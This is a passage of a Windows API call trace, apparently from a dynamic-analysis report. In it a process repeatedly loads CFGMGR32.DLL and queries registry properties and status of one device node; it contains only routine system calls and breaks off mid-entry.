[0232.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.680] malloc (_Size=0x18) returned 0x196ef0d1c60 [0232.680] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0232.680] malloc (_Size=0x1e) returned 0x196ef0fa090 [0232.681] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0fa090, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0fa090, pulLength=0x67117d608) returned 0x0 [0232.681] free (_Block=0x196ef0fa090) [0232.681] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0232.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6b8b28e0, dwHighDateTime=0x1d9eb0c)) [0232.681] SetEvent (hEvent=0x248) returned 1 [0232.684] malloc (_Size=0x18) returned 0x196ef0d1f00 [0232.685] SafeArrayPutElement (psa=0x196ef1f2e30, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0232.685] free (_Block=0x196ef0d1f00) [0232.685] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855e60 [0232.685] SafeArrayGetDim (psa=0x196ef1f2e30) returned 0x1 [0232.685] SafeArrayGetLBound (in: psa=0x196ef1f2e30, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0232.685] SafeArrayGetUBound (in: psa=0x196ef1f2e30, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0232.685] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0232.685] SafeArrayGetDim (psa=0x196ef1f2e30) returned 0x1 [0232.685] SafeArrayGetUBound (in: psa=0x196ef1f2e30, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0232.685] SafeArrayGetElemsize (psa=0x196ef1f2e30) returned 0x8 [0232.685] SafeArrayGetElement (in: psa=0x196ef1f2e30, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0232.686] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225cf0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0232.687] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0232.687] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855e60) returned 1 [0232.688] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.688] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.739] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.739] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.740] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.740] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.740] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.741] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.741] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.744] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.744] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.745] malloc (_Size=0x18) returned 0x196ef0d19e0 [0232.745] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0232.746] malloc (_Size=0x48) returned 0x196ef0fbd60 [0232.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6b94b463, dwHighDateTime=0x1d9eb0c)) [0232.746] SetEvent (hEvent=0x248) returned 1 [0232.751] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.751] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.751] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.752] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.752] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.752] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.757] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.757] malloc (_Size=0x18) returned 0x196ef0d1b60 [0232.757] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0232.763] malloc (_Size=0x48) returned 0x196ef0fc170 [0232.763] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6b9717c3, dwHighDateTime=0x1d9eb0c)) [0232.764] SetEvent (hEvent=0x248) returned 1 [0232.768] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.768] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.773] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0232.773] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0232.773] malloc (_Size=0x48) returned 0x196ef0fb360 [0232.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6b9975a3, dwHighDateTime=0x1d9eb0c)) [0232.773] SetEvent (hEvent=0x248) returned 1 [0232.777] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.777] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.781] malloc (_Size=0x18) returned 0x196ef0d1c80 [0232.781] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0232.782] malloc (_Size=0x48) returned 0x196ef0fbe50 [0232.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6b9975a3, dwHighDateTime=0x1d9eb0c)) [0232.782] SetEvent (hEvent=0x248) returned 1 [0232.836] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.836] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.837] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.837] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.837] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.837] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.838] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.841] malloc (_Size=0x18) returned 0x196ef0d2080 [0232.841] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0232.841] malloc (_Size=0x48) returned 0x196ef0fb2c0 [0232.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6ba3131c, dwHighDateTime=0x1d9eb0c)) [0232.842] SetEvent (hEvent=0x248) returned 1 [0232.927] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.927] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.927] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.927] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.927] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.927] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.927] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.928] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.928] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.928] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.928] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.928] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.928] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.928] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.929] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.929] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.929] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.929] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.929] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.929] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.929] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.930] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0232.930] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0232.932] malloc (_Size=0x48) returned 0x196ef0fb680 [0232.932] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6bb1614e, dwHighDateTime=0x1d9eb0c)) [0232.933] SetEvent (hEvent=0x248) returned 1 [0232.936] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.937] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.937] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.938] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.939] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.940] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.940] malloc (_Size=0x18) returned 0x196ef0d20a0 [0232.941] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x3a, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0232.941] malloc (_Size=0x48) returned 0x196ef0fba40 [0232.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6bb3b0a6, dwHighDateTime=0x1d9eb0c)) [0232.941] SetEvent (hEvent=0x248) returned 1 [0232.946] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.946] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.946] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.947] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.947] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.947] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.947] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.947] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.947] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.947] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.947] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.948] GetProcAddress (hModule=0x7ffa786c0000, 